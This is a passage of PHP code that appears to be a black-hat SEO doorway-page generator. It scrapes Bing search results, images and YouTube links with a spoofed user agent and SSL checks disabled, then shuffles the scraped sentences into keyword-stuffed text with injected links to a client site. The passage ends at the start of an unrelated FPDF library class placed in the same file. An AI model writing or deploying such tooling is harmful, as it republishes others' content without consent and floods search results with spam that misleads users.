						curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
						curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
						curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
						$outch = curl_exec($ch);
						curl_close($ch);
						preg_match_all('!data-resolved-url-small="(.*?)"!siu', $outch, $lines2);
					}

					$fotos = array_unique($lines2[1]);
					shuffle($fotos);

					$ar_imgs = array_values($fotos );
					$count_imgs = count($ar_imgs);

					preg_match_all("/(\[IMGSRC.*\])/iUm", $_template_data, $_matches);
					if (!empty($_matches[1]) && $count_imgs > 0) {
						foreach($_matches[1] as $_upimgs){
							$rnd = rand(0,$count_imgs);
							if($ar_imgs[$rnd])
								$_template_data = str_replace($_upimgs,"<img style=\"max-width: 100%;\" src=\"//".$client_url_orig."?getimage=".base64_encode($ar_imgs[$rnd])."\" alt=\"".$_currkey."\">",$_template_data);
						}
					}

					$_template_data = preg_replace("/(\[IMGSRC.*\])/iUm",'',$_template_data);
				}


				if (strpos($_template_data, "[VIDEO") !== FALSE) {
					$ch = curl_init();
					curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/videos/search?&q='.urlencode($_currkey).'&qft=+filterui:msite-youtube.com&FORM=R5VR15');
					curl_setopt($ch, CURLOPT_HEADER, false);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
					curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
					curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
					curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
					curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
					curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
					curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
					curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
					$outch = curl_exec($ch);
					$outch = str_ireplace('\\', '', $outch);
					curl_close($ch);

					preg_match_all('!youtube.com/watch\?v=(.*?)&!siu', $outch, $lines2);

					$videos = array_unique($lines2[1]);
					shuffle($videos);
					$count_imgs = count($videos);
					$ar_video = $videos;
					preg_match_all("/(\[VIDEO.*\])/iUm", $_template_data, $_matches);
					if (!empty($_matches[1])) {
						foreach($_matches[1] as $_upimgs){
							$rnd = rand(0,$count_imgs);
							$int = $ar_video[$rnd];
							if($int)
								$_template_data = str_replace($_upimgs,'<iframe width="450" height="284"alt="'.$_currkey.'"  src="https://www.youtube.com/embed/'.$int.'" frameborder="0" allowfullscreen></iframe>',$_template_data);
							else
								$_template_data = str_replace($_upimgs,'',$_template_data);

						}
					}
				}


				if (!empty($_message) && is_dir($cachedirname)) {
					$errorsforlocal = date("d F Y H:i:s") . "\t" . $_message . "\t" . trim($errorsforlocal);
					if (file_exists($errorsfilename) && count(file($errorsfilename)) > 500) {
						$fod = fopen($errorsfilename, "w+");
					}
					else {
						$fod = fopen($errorsfilename, "a+");
					}

					flock($fod, LOCK_EX);
					fwrite($fod, $errorsforlocal . "\n");
					fclose($fod);
				}
				$_template_data = html_entity_decode(preg_replace("/(\[SENTENCE:.*\])/iU","",$_template_data));
				return $_template_data;
			}
		}
	}
}
function getip(){
$n1 = rand(1,255);
$n2 = rand(1,255);
$n3 = rand(1,255);
$n4 = rand(1,255);
$ips = "$n1.$n2.$n3.$n4";

return $ips;
}
function get_img_bing($str){
	return str_ireplace('src2="',"",$str);
}


function edittext($_min_rand, $_max_rand, $_result, $_count_nums, $_num_str, $_incom_nums, $_other_data, $_keyfile_data, $_themesfile_data, $_extlinksfilename, $_clienturl, $_new_params, $_extlinksfile_data, $_an_limit){
	if ($_min_rand == 0){
		$_min_rand = 1;
	}
	if ($_max_rand == 0){
		$_max_rand = 1;
	}
	$_incom_nums = explode("^", $_incom_nums);
	$_incom_nums = rand($_incom_nums[0], $_incom_nums[1]);
	if ($_extlinksfile_data == "good"){
		$_new_params = explode("^", $_new_params);
		$_new_params = rand($_new_params[0], $_new_params[1]);
	}else{
		$_new_params = 0;
	}
	$_other_data = trim($_other_data);
	$_result = explode(".", $_result);
	shuffle($_result);
	$_group_results = array();
	for ($_i = 0; $_i <= rand($_min_rand, $_max_rand); $_i++){
		$_group_results[] = $_result[$_i];
	}
	unset($_result);
	$_group_results = explode(" ", str_replace("  ", " ", implode(". ", $_group_results)));
	if ($_count_nums > 0){
		$_elem_groups = array(
			" <i>" . $_other_data . "</i> ",
			" <b>" . $_other_data . "</b> ",
			$_other_data,
			$_other_data,
			$_other_data
		);
		$_count_groups = substr_count(strtolower(implode($_group_results)) , strtolower($_other_data));
		$_str_limit = ceil(count($_group_results) * $_count_nums / 100) - $_count_groups;
		if ($_str_limit <= 0){
			$_str_limit = $_count_groups;
		}
		for ($_i = 1; $_i <= $_str_limit; $_i++){
			if ($_an_limit == 1){
				$_other_data = trim($_elem_groups[array_rand($_elem_groups) ]);
			}
			$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_other_data;
		}
	}
	if ($_num_str > 0){
		shuffle($_keyfile_data);
		$_str_limit = ceil(count($_group_results) * $_num_str / 100);
		if (count($_keyfile_data) > $_str_limit - 1){
			$_result_good = "";
			if (empty($_result_good)){
				for ($_i = 1; $_i <= $_str_limit; $_i++){
					if ($_an_limit == 1){
						$_elem_groups = array(
							" <i>" . $_keyfile_data[$_i] . "</i> ",
							" <b>" . $_keyfile_data[$_i] . "</b> ",
							$_keyfile_data[$_i],
							$_keyfile_data[$_i],
							$_keyfile_data[$_i]
						);
						$_rand_el = trim($_elem_groups[array_rand($_elem_groups) ]);
					}else{
						$_rand_el = trim($_keyfile_data[$_i]);
					}
					$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_rand_el;
				}
			}
		}
	}
	if ($_incom_nums > 0){
		shuffle($_keyfile_data);
		if (count($_keyfile_data) < $_incom_nums - 1){
			$_incom_nums = count($_keyfile_data);
		}
		$_result_good = "";
		if (empty($_result_good)){
			for ($_i = 1; $_i <= $_incom_nums; $_i++){
				$_group_results[rand(0, count($_group_results) - 1) ].= ' <a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) . '">' . ucfirst(trim($_keyfile_data[$_i])) . "</a>";
			}
		}
	}
	$_group_results = trim(implode(" ", $_group_results));
	$_group_results = htmlentities($_group_results);
	return $_group_results;
}

function bingcontent($key, $_lang)
{ global $zones;
$zones_and_badchar = array("\n","\r","\t",'&nbsp;','&laquo;','&raquo;','&quot;','&#8592;','&#8594;','&#39;','&#8211;','&#32;','&#160;','&#8212;','&#8230;','&#039;','&rarr;','&mdash;','&gt;','&lt;','{','}','#','"','—','\'',"nbsp"," br ",".aaa",".aarp",".abarth",".abb",".abbott",".abbvie",".abc",".able",".abogado",".abudhabi",".ac",".academy",".accenture",".accountant",".accountants",".aco",".active",".actor",".ad",".adac",".ads",".adult",".ae",".aeg",".aero",".aetna",".af",".afamilycompany",".afl",".africa",".ag",".agakhan",".agency",".ai",".aig",".aigo",".airbus",".airforce",".airtel",".akdn",".al",".alfaromeo",".alibaba",".alipay",".allfinanz",".allstate",".ally",".alsace",".alstom",".am",".americanexpress",".americanfamily",".amex",".amfam",".amica",".amsterdam",".analytics",".android",".anquan",".anz",".ao",".aol",".apartments",".app",".apple",".aq",".aquarelle",".ar",".aramco",".archi",".army",".arpa",".art",".arte",".as",".asda",".asia",".associates",".at",".athleta",".attorney",".au",".auction",".audi",".audible",".audio",".auspost",".author",".auto",".autos",".avianca",".aw",".aws",".ax",".axa",".az",".azure",".ba",".baby",".baidu",".banamex",".bananarepublic",".band",".bank",".bar",".barcelona",".barclaycard",".barclays",".barefoot",".bargains",".baseball",".basketball",".bauhaus",".bayern",".bb",".bbc",".bbt",".bbva",".bcg",".bcn",".bd",".be",".beats",".beauty",".beer",".bentley",".berlin",".best",".bestbuy",".bet",".bf",".bg",".bh",".bharti",".bi",".bible",".bid",".bike",".bing",".bingo",".bio",".biz",".bj",".black",".blackfriday",".blanco",".blockbuster",".blog",".bloomberg",".blue",".bm",".bms",".bmw",".bn",".bnl",".bnpparibas",".bo",".boats",".boehringer",".bofa",".bom",".bond",".boo",".book",".booking",".boots",".bosch",".bostik",".boston",".bot",".boutique",".box",".br",".bradesco",".bridgestone",".broadway",".broker",".brother",".brussels",".bs",".bt",".budapest",".bugatti",".build",".builders",".business",".buy",".buzz",".bv",".bw",".by",".bz",".bzh",".ca",".cab",".cafe",".cal",".call",".calvinklein",".cam",".camera",".camp",".cancerresearch",".canon",".capetown",".capital",".capitalone",".car",".caravan",".cards",".care",".career",".careers",".cars",".cartier",".casa",".case",".caseih",".cash",".casino",".cat",".catering",".catholic",".cba",".cbn",".cbre",".cbs",".cc",".cd",".ceb",".center",".ceo",".cern",".cf",".cfa",".cfd",".cg",".ch",".chanel",".channel",".chase",".chat",".cheap",".chintai",".chloe",".christmas",".chrome",".chrysler",".church",".ci",".cipriani",".circle",".cisco",".citadel",".citi",".citic",".city",".cityeats",".ck",".cl",".claims",".cleaning",".click",".clinic",".clinique",".clothing",".cloud",".club",".clubmed",".cm",".cn",".co",".coach",".codes",".coffee",".college",".cologne",".com",".comcast",".commbank",".community",".company",".compare",".computer",".comsec",".condos",".construction",".consulting",".contact",".contractors",".cooking",".cookingchannel",".cool",".coop",".corsica",".country",".coupon",".coupons",".courses",".cr",".credit",".creditcard",".creditunion",".cricket",".crown",".crs",".cruise",".cruises",".csc",".cu",".cuisinella",".cv",".cw",".cx",".cy",".cymru",".cyou",".cz",".dabur",".dad",".dance",".data",".date",".dating",".datsun",".day",".dclk",".dds",".de",".deal",".dealer",".deals",".degree",".delivery",".dell",".deloitte",".delta",".democrat",".dental",".dentist",".desi",".design",".dev",".dhl",".diamonds",".diet",".digital",".direct",".directory",".discount",".discover",".dish",".diy",".dj",".dk",".dm",".dnp",".do",".docs",".doctor",".dodge",".dog",".doha",".domains",".dot",".download",".drive",".dtv",".dubai",".duck",".dunlop",".duns",".dupont",".durban",".dvag",".dvr",".dz",".earth",".eat",".ec",".eco",".edeka",".edu",".education",".ee",".eg",".email",".emerck",".energy",".engineer",".engineering",".enterprises",".epost",".epson",".equipment",".er",".ericsson",".erni",".es",".esq",".estate",".esurance",".et",".eu",".eurovision",".eus",".events",".everbank",".exchange",".expert",".exposed",".express",".extraspace",".fage",".fail",".fairwinds",".faith",".family",".fan",".fans",".farm",".farmers",".fashion",".fast",".fedex",".feedback",".ferrari",".ferrero",".fi",".fiat",".fidelity",".fido",".film",".final",".finance",".financial",".fire",".firestone",".firmdale",".fish",".fishing",".fit",".fitness",".fj",".fk",".flickr",".flights",".flir",".florist",".flowers",".fly",".fm",".fo",".foo",".food",".foodnetwork",".football",".ford",".forex",".forsale",".forum",".foundation",".fox",".fr",".free",".fresenius",".frl",".frogans",".frontdoor",".frontier",".ftr",".fujitsu",".fujixerox",".fun",".fund",".furniture",".futbol",".fyi",".ga",".gal",".gallery",".gallo",".gallup",".game",".games",".gap",".garden",".gb",".gbiz",".gd",".gdn",".ge",".gea",".gent",".genting",".george",".gf",".gg",".ggee",".gh",".gi",".gift",".gifts",".gives",".giving",".gl",".glade",".glass",".gle",".global",".globo",".gm",".gmail",".gmbh",".gmo",".gmx",".gn",".godaddy",".gold",".goldpoint",".golf",".goo",".goodhands",".goodyear",".goog",".google",".gop",".got",".gov",".gp",".gq",".gr",".grainger",".graphics",".gratis",".green",".gripe",".group",".gs",".gt",".gu",".guardian",".gucci",".guge",".guide",".guitars",".guru",".gw",".gy",".hair",".hamburg",".hangout",".haus",".hbo",".hdfc",".hdfcbank",".health",".healthcare",".help",".helsinki",".here",".hermes",".hgtv",".hiphop",".hisamitsu",".hitachi",".hiv",".hk",".hkt",".hm",".hn",".hockey",".holdings",".holiday",".homedepot",".homegoods",".homes",".homesense",".honda",".honeywell",".horse",".hospital",".host",".hosting",".hot",".hoteles",".hotels",".hotmail",".house",".how",".hr",".hsbc",".ht",".htc",".hu",".hughes",".hyatt",".hyundai",".ibm",".icbc",".ice",".icu",".id",".ie",".ieee",".ifm",".ikano",".il",".im",".imamat",".imdb",".immo",".immobilien",".in",".industries",".infiniti",".info",".ing",".ink",".institute",".insurance",".insure",".int",".intel",".international",".intuit",".investments",".io",".ipiranga",".iq",".ir",".irish",".is",".iselect",".ismaili",".ist",".istanbul",".it",".itau",".itv",".iveco",".iwc",".jaguar",".java",".jcb",".jcp",".je",".jeep",".jetzt",".jewelry",".jio",".jlc",".jll",".jm",".jmp",".jnj",".jo",".jobs",".joburg",".jot",".joy",".jp",".jpmorgan",".jprs",".juegos",".juniper",".kaufen",".kddi",".ke",".kerryhotels",".kerrylogistics",".kerryproperties",".kfh",".kg",".kh",".ki",".kia",".kim",".kinder",".kindle",".kitchen",".kiwi",".km",".kn",".koeln",".komatsu",".kosher",".kp",".kpmg",".kpn",".kr",".krd",".kred",".kuokgroup",".kw",".ky",".kyoto",".kz",".la",".lacaixa",".ladbrokes",".lamborghini",".lamer",".lancaster",".lancia",".lancome",".land",".landrover",".lanxess",".lasalle",".lat",".latino",".latrobe",".law",".lawyer",".lb",".lc",".lds",".lease",".leclerc",".lefrak",".legal",".lego",".lexus",".lgbt",".li",".liaison",".lidl",".life",".lifeinsurance",".lifestyle",".lighting",".like",".lilly",".limited",".limo",".lincoln",".linde",".link",".lipsy",".live",".living",".lixil",".lk",".loan",".loans",".locker",".locus",".loft",".lol",".london",".lotte",".lotto",".love",".lpl",".lplfinancial",".lr",".ls",".lt",".ltd",".ltda",".lu",".lundbeck",".lupin",".luxe",".luxury",".lv",".ly",".ma",".macys",".madrid",".maif",".maison",".makeup",".man",".management",".mango",".market",".marketing",".markets",".marriott",".marshalls",".maserati",".mattel",".mba",".mc",".mcd",".mcdonalds",".mckinsey",".md",".me",".med",".media",".meet",".melbourne",".meme",".memorial",".men",".menu",".meo",".metlife",".mg",".mh",".miami",".microsoft",".mil",".mini",".mint",".mit",".mitsubishi",".mk",".ml",".mlb",".mls",".mm",".mma",".mn",".mo",".mobi",".mobile",".mobily",".moda",".moe",".moi",".mom",".monash",".money",".monster",".montblanc",".mopar",".mormon",".mortgage",".moscow",".moto",".motorcycles",".mov",".movie",".movistar",".mp",".mq",".mr",".ms",".msd",".mt",".mtn",".mtpc",".mtr",".mu",".museum",".mutual",".mv",".mw",".mx",".my",".mz",".na",".nab",".nadex",".nagoya",".name",".nationwide",".natura",".navy",".nba",".nc",".ne",".nec",".net",".netbank",".netflix",".network",".neustar",".new",".newholland",".news",".next",".nextdirect",".nexus",".nf",".nfl",".ng",".ngo",".nhk",".ni",".nico",".nike",".nikon",".ninja",".nissan",".nissay",".nl",".no",".nokia",".northwesternmutual",".norton",".now",".nowruz",".nowtv",".np",".nr",".nra",".nrw",".ntt",".nu",".nyc",".nz",".obi",".observer",".off",".office",".okinawa",".olayan",".olayangroup",".oldnavy",".ollo",".om",".omega",".one",".ong",".onl",".online",".onyourside",".ooo",".open",".oracle",".orange",".org",".organic",".origins",".osaka",".otsuka",".ott",".ovh",".pa",".page",".pamperedchef",".panasonic",".panerai",".paris",".pars",".partners",".parts",".party",".passagens",".pay",".pccw",".pe",".pet",".pf",".pfizer",".pg",".ph",".pharmacy",".philips",".phone",".photo",".photography",".photos",".physio",".piaget",".pics",".pictet",".pictures",".pid",".pin",".ping",".pink",".pioneer",".pizza",".pk",".pl",".place",".play",".playstation",".plumbing",".plus",".pm",".pn",".pnc",".pohl",".poker",".politie",".porn",".post",".pr",".pramerica",".praxi",".press",".prime",".pro",".prod",".productions",".prof",".progressive",".promo",".properties",".property",".protection",".pru",".prudential",".ps",".pt",".pub",".pw",".pwc",".py",".qa",".qpon",".quebec",".quest",".qvc",".racing",".radio",".raid",".re",".read",".realestate",".realtor",".realty",".recipes",".red",".redstone",".redumbrella",".rehab",".reise",".reisen",".reit",".reliance",".ren",".rent",".rentals",".repair",".report",".republican",".rest",".restaurant",".review",".reviews",".rexroth",".rich",".richardli",".ricoh",".rightathome",".ril",".rio",".rip",".rmit",".ro",".rocher",".rocks",".rodeo",".rogers",".room",".rs",".rsvp",".ru",".rugby",".ruhr",".run",".rw",".rwe",".ryukyu",".sa",".saarland",".safe",".safety",".sakura",".sale",".salon",".samsclub",".samsung",".sandvik",".sandvikcoromant",".sanofi",".sap",".sapo",".sarl",".sas",".save",".saxo",".sb",".sbi",".sbs",".sc",".sca",".scb",".schaeffler",".schmidt",".scholarships",".school",".schule",".schwarz",".science",".scjohnson",".scor",".scot",".sd",".se",".seat",".secure",".security",".seek",".select",".sener",".services",".ses",".seven",".sew",".sex",".sexy",".sfr",".sg",".sh",".shangrila",".sharp",".shaw",".shell",".shia",".shiksha",".shoes",".shop",".shopping",".shouji",".show",".showtime",".shriram",".si",".silk",".sina",".singles",".site",".sj",".sk",".ski",".skin",".sky",".skype",".sl",".sling",".sm",".smart",".smile",".sn",".sncf",".so",".soccer",".social",".softbank",".software",".sohu",".solar",".solutions",".song",".sony",".soy",".space",".spiegel",".spot",".spreadbetting",".sr",".srl",".srt",".st",".stada",".staples",".star",".starhub",".statebank",".statefarm",".statoil",".stc",".stcgroup",".stockholm",".storage",".store",".stream",".studio",".study",".style",".su",".sucks",".supplies",".supply",".support",".surf",".surgery",".suzuki",".sv",".swatch",".swiftcover",".swiss",".sx",".sy",".sydney",".symantec",".systems",".sz",".tab",".taipei",".talk",".taobao",".target",".tatamotors",".tatar",".tattoo",".tax",".taxi",".tc",".tci",".td",".tdk",".team",".tech",".technology",".tel",".telecity",".telefonica",".temasek",".tennis",".teva",".tf",".tg",".th",".thd",".theater",".theatre",".tiaa",".tickets",".tienda",".tiffany",".tips",".tires",".tirol",".tj",".tjmaxx",".tjx",".tk",".tkmaxx",".tl",".tm",".tmall",".tn",".to",".today",".tokyo",".tools",".top",".toray",".toshiba",".total",".tours",".town",".toyota",".toys",".tr",".trade",".trading",".training",".travel",".travelchannel",".travelers",".travelersinsurance",".trust",".trv",".tt",".tube",".tui",".tunes",".tushu",".tv",".tvs",".tw",".tz",".ua",".ubank",".ubs",".uconnect",".ug",".uk",".unicom",".university",".uno",".uol",".ups",".us",".uy",".uz",".va",".vacations",".vana",".vanguard",".vc",".ve",".vegas",".ventures",".verisign",".versicherung",".vet",".vg",".vi",".viajes",".video",".vig",".viking",".villas",".vin",".vip",".virgin",".visa",".vision",".vista",".vistaprint",".viva",".vivo",".vlaanderen",".vn",".vodka",".volkswagen",".volvo",".vote",".voting",".voto",".voyage",".vu",".vuelos",".wales",".walmart",".walter",".wang",".wanggou",".warman",".watch",".watches",".weather",".weatherchannel",".webcam",".weber",".website",".wed",".wedding",".weibo",".weir",".wf",".whoswho",".wien",".wiki",".williamhill",".win",".windows",".wine",".winners",".wme",".wolterskluwer",".woodside",".work",".works",".world",".wow",".ws",".wtc",".wtf",".xbox",".xerox",".xfinity",".xihuan",".xin",".xn--11b4c3d",".xn--1ck2e1b",".xn--1qqw23a",".xn--30rr7y",".xn--3bst00m",".xn--3ds443g",".xn--3e0b707e",".xn--3oq18vl8pn36a",".xn--3pxu8k",".xn--42c2d9a",".xn--45brj9c",".xn--45q11c",".xn--4gbrim",".xn--54b7fta0cc",".xn--55qw42g",".xn--55qx5d",".xn--5su34j936bgsg",".xn--5tzm5g",".xn--6frz82g",".xn--6qq986b3xl",".xn--80adxhks",".xn--80ao21a",".xn--80aqecdr1a",".xn--80asehdb",".xn--80aswg",".xn--8y0a063a",".xn--90a3ac",".xn--90ae",".xn--90ais",".xn--9dbq2a",".xn--9et52u",".xn--9krt00a",".xn--b4w605ferd",".xn--bck1b9a5dre4c",".xn--c1avg",".xn--c2br7g",".xn--cck2b3b",".xn--cg4bki",".xn--clchc0ea0b2g2a9gcd",".xn--czr694b",".xn--czrs0t",".xn--czru2d",".xn--d1acj3b",".xn--d1alf",".xn--e1a4c",".xn--eckvdtc9d",".xn--efvy88h",".xn--estv75g",".xn--fct429k",".xn--fhbei",".xn--fiq228c5hs",".xn--fiq64b",".xn--fiqs8s",".xn--fiqz9s",".xn--fjq720a",".xn--flw351e",".xn--fpcrj9c3d",".xn--fzc2c9e2c",".xn--fzys8d69uvgm",".xn--g2xx48c",".xn--gckr3f0f",".xn--gecrj9c",".xn--gk3at1e",".xn--h2brj9c",".xn--hxt814e",".xn--i1b6b1a6a2e",".xn--imr513n",".xn--io0a7i",".xn--j1aef",".xn--j1amh",".xn--j6w193g",".xn--jlq61u9w7b",".xn--jvr189m",".xn--kcrx77d1x4a",".xn--kprw13d",".xn--kpry57d",".xn--kpu716f",".xn--kput3i",".xn--l1acc",".xn--lgbbat1ad8j",".xn--mgb9awbf",".xn--mgba3a3ejt",".xn--mgba3a4f16a",".xn--mgba7c0bbn0a",".xn--mgbaam7a8h",".xn--mgbab2bd",".xn--mgbai9azgqp6j",".xn--mgbayh7gpa",".xn--mgbb9fbpob",".xn--mgbbh1a71e",".xn--mgbc0a9azcg",".xn--mgbca7dzdo",".xn--mgberp4a5d4ar",".xn--mgbi4ecexp",".xn--mgbpl2fh",".xn--mgbt3dhd",".xn--mgbtx2b",".xn--mgbx4cd0ab",".xn--mix891f",".xn--mk1bu44c",".xn--mxtq1m",".xn--ngbc5azd",".xn--ngbe9e0a",".xn--node",".xn--nqv7f",".xn--nqv7fs00ema",".xn--nyqy26a",".xn--o3cw4h",".xn--ogbpf8fl",".xn--p1acf",".xn--p1ai",".xn--pbt977c",".xn--pgbs0dh",".xn--pssy2u",".xn--q9jyb4c",".xn--qcka1pmc",".xn--qxam",".xn--rhqv96g",".xn--rovu88b",".xn--s9brj9c",".xn--ses554g",".xn--t60b56a",".xn--tckwe",".xn--tiq49xqyj",".xn--unup4y",".xn--vermgensberater-ctb",".xn--vermgensberatung-pwb",".xn--vhquv",".xn--vuq861b",".xn--w4r85el8fhu5dnra",".xn--w4rs40l",".xn--wgbh1c",".xn--wgbl6a",".xn--xhq521b",".xn--xkc2al3hye2a",".xn--xkc2dl3a5ee0h",".xn--y9a3aq",".xn--yfro4i67o",".xn--ygbi2ammx",".xn--zfr164b",".xperia",".xxx",".xyz",".yachts",".yahoo",".yamaxun",".yandex",".ye",".yodobashi",".yoga",".yokohama",".you",".youtube",".yt",".yun",".za",".zappos",".zara",".zero",".zip",".zippo",".zm",".zone",".zuerich",".zw");
$full_content_count = 7;
$full_content_tags = '<br><br />';
$badchar = array(
"nbsp",
	"\n",
	"\r",
	"\t",
	'&nbsp;',
	'&laquo;',
	'&raquo;',
	'&quot;',
	'&#8592;',
	'&#8594;',
	'&#39;',
	'&#8211;',
	'&#32;',
	'&#160;',
	'&#8212;',
	'&#8230;',
	'&#039;',
	'&rarr;',
	'&mdash;',
	'&gt;',
	'&lt;',
	'{',
	'}',
	'#',
	'"',
	'—',
	'\''
);
$outch = '';

if (mb_strlen($key, 'utf-8') > 25) {
	$keyp = preg_replace('!^(.{0,25})\s.*!su', '$1', $key);
}
else {
	$keyp = $key;
}

$bings = array(
	 'http://www.bing.com/search?format=rss&first=1&q=' . urlencode(trim($keyp)." language:en"),
	 'http://www.bing.com/search?format=rss&first=11&q=' . urlencode(trim($keyp)." language:en"),
	 'http://www.bing.com/search?format=rss&first=31&q=' . urlencode(trim($keyp)." language:en")
);
$curldatabing = curlMultiRequest($bings);

foreach($curldatabing as $value) {
	$outch .= $value;
}

$outch_iframe = $outch;
$outch = str_ireplace($badchar, ' ', $outch);
$outch = str_ireplace('...', '.', $outch);
$outch = str_ireplace(' .', '.', $outch);
$outch = str_ireplace('..', '.', $outch);
$outch = str_ireplace(',.', '.', $outch);
$outch = str_ireplace(':.', '.', $outch);
$outch = preg_replace('#\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))#iS', '', $outch);
$outch = preg_replace('(\d{1,2}\/\d{1,2}\/\d{4})', '', $outch);
$outch = preg_replace('/(http:\/\/)(\S+)/i', '', $outch);
$outch = preg_replace('/(https:\/\/)(\S+)/i', '', $outch);

preg_match_all('!\<title\>(.*?)\</title\>!siu', $outch, $lines);
$titles = @array_unique($lines[1]);
unset($titles[0]);

if (isset($lines[1][2])) {
	$title1 = $lines[1][2];
}
else {
	$title1 = '';
}

if (isset($lines[1][3])) {
	$title2 = $lines[1][3];
}
else {
	$title2 = '';
}

if (isset($lines[1][4])) {
	$title3 = $lines[1][4];
}
else {
	$title3 = '';
}

$title1 = trim(strip_tags($title1));
$title2 = trim(strip_tags($title2));
$title3 = trim(strip_tags($title3));


preg_match_all('!\<link\>(.*?)\</link\>!siu', $outch_iframe, $iframes);
$iframe = array_unique($iframes[1]);
$bing_links = $iframe;
shuffle($bing_links);
array_splice($bing_links,$full_content_count);

	$full_content_array = array();
	$i = 1;
	$full_content_content = '';

	$curldatabingsites = curlMultiRequest($bing_links);

	foreach($curldatabingsites as $outch) {

		$outch = preg_replace('!\<\s*textarea[^>]*\>.*?\</textarea\>!siu', '', $outch);
		$outch = preg_replace('!\<\s*style[^>]*\>.*?\</style\>!siu', '', $outch);
		$outch = preg_replace('!\<\s*script[^>]*\>.*?\</script\>!siu', '', $outch);
		$outch = preg_replace('!\<\s*head[^>]*\>.*?\</head\>!siu', '', $outch);
		$outch = str_ireplace('>', '> ', $outch);
		preg_match_all('!\<p\>(.*?)\</p\>!siu', $outch, $lines);

		 foreach($lines[1] as $p_tag) {
			 $p_tag = trim(strip_tags($p_tag, $full_content_tags));
			 $p_tag = preg_replace("/<([a-z][a-z0-9]*)[^>]*?(\/?)>/i", '<$1$2>', $p_tag);
			 $p_tag = trim($p_tag);
			$full_content_array[md5($p_tag)] = $p_tag;
		 }

		// if ($i == $full_content_count) break;

		$i++;
	}



shuffle($full_content_array);
$full_content_array = array_unique($full_content_array);
$content = $full_content_array;

$content = preg_replace('/([A-Za-z0-9а-яА-Я]+\.)+([A-Za-z0-9а-яА-Я]+)/siu', '', $content);

$content = preg_replace("/(\s){2,}/",' ',$content);
$content = preg_replace('/[^a-zа-яё. ]+/iu', '', $content);
$content = str_ireplace('. .', '.', $content);
$content = str_ireplace($zones, '', $content);
$content = str_ireplace('...', '.', $content);
$content = str_ireplace(' .', '.', $content);
$content = str_ireplace('..', '.', $content);
$content = str_ireplace(',.', '.', $content);
$newcontent = str_ireplace(':.', '.', $content);
	$newcontent = implode($newcontent);
	if (mb_detect_encoding($newcontent) == "UTF-8"):
		$newcontent = trim($newcontent);
	else:
		$newcontent = iconv(mb_detect_encoding($newcontent) , "UTF-8", $newcontent);
		$newcontent = trim($newcontent);
	endif;

	return $newcontent;
}

function curlMultiRequest($urls, $options = array()){
	global $useCurl, $requestTimeout;

	// cURL multi-handle
	$mh = curl_multi_init();

	// This will hold cURLS requests for each file
	$requests = array();

	$options = array(
		CURLOPT_FOLLOWLOCATION => true,
		CURLOPT_AUTOREFERER    => true,
		CURLOPT_USERAGENT      => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36',
		CURLOPT_HEADER         => false,
		CURLOPT_SSL_VERIFYPEER => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CONNECTTIMEOUT => 2
	);

	//Corresponding filestream array for each file
	$fstreams = array();

	foreach ($urls as $key => $url)
	{
		// Add initialized cURL object to array
		$requests[$key] = curl_init($url);

		// Set cURL object options
		curl_setopt_array($requests[$key], $options);

		// Add cURL object to multi-handle
		curl_multi_add_handle($mh, $requests[$key]);
		}

		// Do while all request have been completed
		do {
		   curl_multi_exec($mh, $active);
		} while ($active > 0);

		// Collect all data here and clean up
		foreach ($requests as $key => $request) {

			$returned[$key] = curl_multi_getcontent($request); // Use this if you're not downloading into file, also remove CURLOPT_FILE option and fstreams array
			curl_multi_remove_handle($mh, $request); //assuming we're being responsible about our resource management
			curl_close($request);                    //being responsible again.  THIS MUST GO AFTER curl_multi_getcontent();
		}

	curl_multi_close($mh);
	//$req = new HttpRequest($useCurl, $requestTimeout);
	//foreach($urls as $url){
		//$tasks[$url] = $req->request($url);
	//}
	return $returned;

}

class HttpRequest{
  var $mode = 0;
  var $timeout = 60;
  function HttpRequest($mode = 0, $timeout = 60) {
    $this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
    $this->timeout = $timeout;
  }
  function request($url, $post_data = false) {
    switch ($this->mode){
    case 0:
      return $this->_requestCurl($url, $post_data);
    case 1:
      return file_get_contents($url);
    default:
      return false;
    };
  }

  function _requestCurl($url, $post_data) {
    $hc = curl_init($url);
    if ($post_data)
      curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($hc, CURLOPT_AUTOREFERER, 1);
    curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
    $res = curl_exec($hc);
    $this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);
    curl_close($hc);
    return $res;
  }
};



class FPDF
{
var $page;               // current page number
var $n;                  // current object number
var $offsets;            // array of object offsets
var $buffer;             // buffer holding in-memory PDF
var $pages;              // array containing pages
var $state;              // current document state
var $compress;           // compression flag
var $k;                  // scale factor (number of points in user unit)
var $DefOrientation;     // default orientation
var $CurOrientation;     // current orientation
var $StdPageSizes;       // standard page sizes
var $DefPageSize;        // default page size
var $CurPageSize;        // current page size
